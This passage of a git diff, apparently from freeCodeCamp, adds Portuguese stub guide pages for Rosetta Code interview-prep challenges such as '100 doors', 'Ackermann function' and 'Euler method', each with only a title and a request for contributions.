+localeTitle: 100 portas
+---
+## 100 portas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/100-doors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/24-game/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/24-game/index.md
new file mode 100644
index 0000000000..981e101d57
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/24-game/index.md
@@ -0,0 +1,9 @@
+---
+title: 24 game
+localeTitle: 24 jogo
+---
+## 24 jogo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/24-game/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/9-billion-names-of-god-the-integer/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/9-billion-names-of-god-the-integer/index.md
new file mode 100644
index 0000000000..5fe98d3a1b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/9-billion-names-of-god-the-integer/index.md
@@ -0,0 +1,9 @@
+---
+title: 9 billion names of God the integer
+localeTitle: 9 bilhões de nomes de Deus o inteiro
+---
+## 9 bilhões de nomes de Deus o inteiro
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/9-billion-names-of-god-the-integer/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/abc-problem/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/abc-problem/index.md
new file mode 100644
index 0000000000..9ff4d65827
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/abc-problem/index.md
@@ -0,0 +1,9 @@
+---
+title: ABC Problem
+localeTitle: Problema ABC
+---
+## Problema ABC
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/abc-problem/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/abundant-deficient-and-perfect-number-classifications/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/abundant-deficient-and-perfect-number-classifications/index.md
new file mode 100644
index 0000000000..671dd91c0c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/abundant-deficient-and-perfect-number-classifications/index.md
@@ -0,0 +1,9 @@
+---
+title: Abundant, deficient and perfect number classifications
+localeTitle: Classificações numéricas abundantes, deficientes e perfeitas
+---
+## Classificações numéricas abundantes, deficientes e perfeitas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/abundant-deficient-and-perfect-number-classifications/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/accumulator-factory/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/accumulator-factory/index.md
new file mode 100644
index 0000000000..60a4b64205
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/accumulator-factory/index.md
@@ -0,0 +1,9 @@
+---
+title: Accumulator factory
+localeTitle: Fábrica de acumuladores
+---
+## Fábrica de acumuladores
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/accumulator-factory/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/ackermann-function/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/ackermann-function/index.md
new file mode 100644
index 0000000000..646aa286bb
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/ackermann-function/index.md
@@ -0,0 +1,9 @@
+---
+title: Ackermann function
+localeTitle: Função Ackermann
+---
+## Função Ackermann
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/ackermann-function/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/align-columns/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/align-columns/index.md
new file mode 100644
index 0000000000..6ad04d9084
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/align-columns/index.md
@@ -0,0 +1,9 @@
+---
+title: Align columns
+localeTitle: Alinhar colunas
+---
+## Alinhar colunas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/align-columns/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/amicable-pairs/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/amicable-pairs/index.md
new file mode 100644
index 0000000000..d99d5ab0a0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/amicable-pairs/index.md
@@ -0,0 +1,9 @@
+---
+title: Amicable pairs
+localeTitle: Pares amigáveis
+---
+## Pares amigáveis
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/amicable-pairs/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/averagesmode/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/averagesmode/index.md
new file mode 100644
index 0000000000..786308ed9b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/averagesmode/index.md
@@ -0,0 +1,9 @@
+---
+title: Averages/Mode
+localeTitle: Médias / Modo
+---
+## Médias / Modo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/averagesmode/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/averagespythagorean-means/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/averagespythagorean-means/index.md
new file mode 100644
index 0000000000..c3ceaba18f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/averagespythagorean-means/index.md
@@ -0,0 +1,9 @@
+---
+title: Averages/Pythagorean means
+localeTitle: Médias / meios pitagóricos
+---
+## Médias / meios pitagóricos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/averagespythagorean-means/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/averagesroot-mean-square/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/averagesroot-mean-square/index.md
new file mode 100644
index 0000000000..e8df98ca63
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/averagesroot-mean-square/index.md
@@ -0,0 +1,9 @@
+---
+title: Averages/Root mean square
+localeTitle: Médias / Raiz Média quadrada
+---
+## Médias / Raiz Média quadrada
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/averagesroot-mean-square/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/babbage-problem/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/babbage-problem/index.md
new file mode 100644
index 0000000000..912cdd6ed3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/babbage-problem/index.md
@@ -0,0 +1,9 @@
+---
+title: Babbage problem
+localeTitle: Problema Babbage
+---
+## Problema Babbage
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/babbage-problem/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/balanced-brackets/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/balanced-brackets/index.md
new file mode 100644
index 0000000000..a5cd09118a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/balanced-brackets/index.md
@@ -0,0 +1,9 @@
+---
+title: Balanced brackets
+localeTitle: Suportes equilibrados
+---
+## Suportes equilibrados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/balanced-brackets/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/circles-of-given-radius-through-two-points/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/circles-of-given-radius-through-two-points/index.md
new file mode 100644
index 0000000000..68b73b93aa
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/circles-of-given-radius-through-two-points/index.md
@@ -0,0 +1,9 @@
+---
+title: Circles of given radius through two points
+localeTitle: Círculos de raio dado através de dois pontos
+---
+## Círculos de raio dado através de dois pontos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/circles-of-given-radius-through-two-points/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/closest-pair-problem/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/closest-pair-problem/index.md
new file mode 100644
index 0000000000..be4f25975a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/closest-pair-problem/index.md
@@ -0,0 +1,9 @@
+---
+title: Closest-pair problem
+localeTitle: Problema de par mais próximo
+---
+## Problema de par mais próximo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/closest-pair-problem/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/combinations/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/combinations/index.md
new file mode 100644
index 0000000000..1b38d91adb
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/combinations/index.md
@@ -0,0 +1,9 @@
+---
+title: Combinations
+localeTitle: Combinações
+---
+## Combinações
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/combinations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/comma-quibbling/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/comma-quibbling/index.md
new file mode 100644
index 0000000000..1acb8ec20b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/comma-quibbling/index.md
@@ -0,0 +1,9 @@
+---
+title: Comma quibbling
+localeTitle: Vírgula, quibbling
+---
+## Vírgula, quibbling
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/comma-quibbling/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/compare-a-list-of-strings/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/compare-a-list-of-strings/index.md
new file mode 100644
index 0000000000..db63845f29
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/compare-a-list-of-strings/index.md
@@ -0,0 +1,9 @@
+---
+title: Compare a list of strings
+localeTitle: Compare uma lista de strings
+---
+## Compare uma lista de strings
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/compare-a-list-of-strings/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/convert-seconds-to-compound-duration/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/convert-seconds-to-compound-duration/index.md
new file mode 100644
index 0000000000..74f5654461
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/convert-seconds-to-compound-duration/index.md
@@ -0,0 +1,9 @@
+---
+title: Convert seconds to compound duration
+localeTitle: Converta segundos para duração composta
+---
+## Converta segundos para duração composta
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/convert-seconds-to-compound-duration/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/count-occurrences-of-a-substring/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/count-occurrences-of-a-substring/index.md
new file mode 100644
index 0000000000..d733a7c5bc
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/count-occurrences-of-a-substring/index.md
@@ -0,0 +1,9 @@
+---
+title: Count occurrences of a substring
+localeTitle: Contar ocorrências de uma substring
+---
+## Contar ocorrências de uma substring
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/count-occurrences-of-a-substring/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/count-the-coins/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/count-the-coins/index.md
new file mode 100644
index 0000000000..fe77db0540
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/count-the-coins/index.md
@@ -0,0 +1,9 @@
+---
+title: Count the coins
+localeTitle: Conte as moedas
+---
+## Conte as moedas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/count-the-coins/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/cramers-rule/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/cramers-rule/index.md
new file mode 100644
index 0000000000..1083287fe9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/cramers-rule/index.md
@@ -0,0 +1,9 @@
+---
+title: Cramer's rule
+localeTitle: Regra de Cramer
+---
+## Regra de Cramer
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/cramers-rule/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/date-format/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/date-format/index.md
new file mode 100644
index 0000000000..161c2b5f67
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/date-format/index.md
@@ -0,0 +1,9 @@
+---
+title: Date format
+localeTitle: Formato de data
+---
+## Formato de data
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/date-format/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/date-manipulation/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/date-manipulation/index.md
new file mode 100644
index 0000000000..38157167cf
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/date-manipulation/index.md
@@ -0,0 +1,9 @@
+---
+title: Date manipulation
+localeTitle: Manipulação de data
+---
+## Manipulação de data
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/date-manipulation/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/day-of-the-week/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/day-of-the-week/index.md
new file mode 100644
index 0000000000..fb3882fa2c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/day-of-the-week/index.md
@@ -0,0 +1,9 @@
+---
+title: Day of the week
+localeTitle: Dia da semana
+---
+## Dia da semana
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/day-of-the-week/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/deal-cards-for-freecell/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/deal-cards-for-freecell/index.md
new file mode 100644
index 0000000000..5ab5a5e450
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/deal-cards-for-freecell/index.md
@@ -0,0 +1,9 @@
+---
+title: Deal cards for FreeCell
+localeTitle: Cartões de oferta para o FreeCell
+---
+## Cartões de oferta para o FreeCell
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/deal-cards-for-freecell/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/deepcopy/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/deepcopy/index.md
new file mode 100644
index 0000000000..9f86051389
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/deepcopy/index.md
@@ -0,0 +1,9 @@
+---
+title: Deepcopy
+localeTitle: Deepcopy
+---
+## Deepcopy
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/deepcopy/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/define-a-primitive-data-type/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/define-a-primitive-data-type/index.md
new file mode 100644
index 0000000000..3362f42b6c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/define-a-primitive-data-type/index.md
@@ -0,0 +1,9 @@
+---
+title: Define a primitive data type
+localeTitle: Definir um tipo de dados primitivo
+---
+## Definir um tipo de dados primitivo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/define-a-primitive-data-type/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/department-numbers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/department-numbers/index.md
new file mode 100644
index 0000000000..409f536ad5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/department-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Department Numbers
+localeTitle: Números de departamento
+---
+## Números de departamento
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/department-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/discordian-date/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/discordian-date/index.md
new file mode 100644
index 0000000000..eaa645820e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/discordian-date/index.md
@@ -0,0 +1,9 @@
+---
+title: Discordian date
+localeTitle: Data discordia
+---
+## Data discordia
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/discordian-date/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/element-wise-operations/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/element-wise-operations/index.md
new file mode 100644
index 0000000000..486e721545
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/element-wise-operations/index.md
@@ -0,0 +1,9 @@
+---
+title: Element-wise operations
+localeTitle: Operações elementares
+---
+## Operações elementares
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/element-wise-operations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/emirp-primes/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/emirp-primes/index.md
new file mode 100644
index 0000000000..b498500dfb
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/emirp-primes/index.md
@@ -0,0 +1,9 @@
+---
+title: Emirp primes
+localeTitle: Bônus do Emirp
+---
+## Props de Emirp
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/emirp-primes/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/entropy/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/entropy/index.md
new file mode 100644
index 0000000000..993dadc6fe
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/entropy/index.md
@@ -0,0 +1,9 @@
+---
+title: Entropy
+localeTitle: Entropia
+---
+## Entropia
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/entropy/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/equilibrium-index/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/equilibrium-index/index.md
new file mode 100644
index 0000000000..3afdc96610
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/equilibrium-index/index.md
@@ -0,0 +1,9 @@
+---
+title: Equilibrium index
+localeTitle: Índice de Equilíbrio
+---
+## Índice de Equilíbrio
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/equilibrium-index/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/ethiopian-multiplication/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/ethiopian-multiplication/index.md
new file mode 100644
index 0000000000..24575d2162
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/ethiopian-multiplication/index.md
@@ -0,0 +1,9 @@
+---
+title: Ethiopian multiplication
+localeTitle: Multiplicação etíope
+---
+## Multiplicação etíope
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/ethiopian-multiplication/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/euler-method/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/euler-method/index.md
new file mode 100644
index 0000000000..7b4e317f36
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/rosetta-code/euler-method/index.md
@@ -0,0 +1,9 @@
+---
+title: Euler method
+localeTitle: Método de Euler
+---
+## Método de Euler
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/euler-method/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
